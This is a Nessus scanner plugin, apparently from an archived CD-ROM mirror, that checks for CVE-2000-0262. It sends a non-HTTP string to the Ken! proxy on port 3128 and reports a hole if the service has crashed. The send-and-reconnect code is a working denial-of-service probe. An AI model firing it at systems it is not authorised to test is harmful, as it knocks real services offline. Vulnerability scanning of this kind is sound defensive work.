home *** CD-ROM | disk | FTP | other *** search
- #
- # This script was written by Renaud Deraison <deraison@cvs.nessus.org>
- #
- # See the Nessus Scripts License for details
- #
-
- if(description)
- {
- script_id(10375);
- script_bugtraq_id(1103);
- script_version ("$Revision: 1.9 $");
- script_cve_id("CVE-2000-0262");
- name["english"] = "Ken! DoS";
- name["francais"] = "DΘni de service contre Ken!";
- script_name(english:name["english"], francais:name["francais"]);
-
- desc["english"] = "
- It was possible to make the remote service
- (very likely Ken! proxy software)
- crash by sending a non-http request to this port.
-
- In the case of the Ken! proxy, this attack can only
- performed from inside the LAN.
-
-
- Solution : contact your vendor for a fix
- Risk factor : High";
-
- desc["francais"] = "
- Il est possible de faire planter le service
- distant (probablement le proxy Ken!)
- en lui envoyant une requete non-http.
-
- Dans le cas du proxy Ken! cette attaque n'est
- effective que si elle est lancΘe α partir de
- l'interieur du LAN.
-
- Solution : contactez votre vendeur pour un patch
- Facteur de risque : ElevΘ";
-
-
- script_description(english:desc["english"], francais:desc["francais"]);
-
- summary["english"] = "Ken! Segmentation fault";
- summary["francais"] = "Erreur de segmentation dans Ken!";
- script_summary(english:summary["english"], francais:summary["francais"]);
-
- script_category(ACT_DENIAL);
-
-
- script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison",
- francais:"Ce script est Copyright (C) 2000 Renaud Deraison");
- family["english"] = "Denial of Service";
- family["francais"] = "DΘni de service";
- script_family(english:family["english"], francais:family["francais"]);
- script_dependencie("find_service.nes");
- script_require_ports(3128);
- exit(0);
- }
-
- #
- # The script code starts here
- #
-
- port = 3128;
- if(get_port_state(port))
- {
- data = string("Whooopppss_Ken_died\r\n");
- soc = open_sock_tcp(port);
- if(soc > 0)
- {
- send(socket:soc, data:data);
- close(soc);
-
- soc2 = open_sock_tcp(port);
- if(!soc2)security_hole(port);
- else close(soc2);
- }
- }
-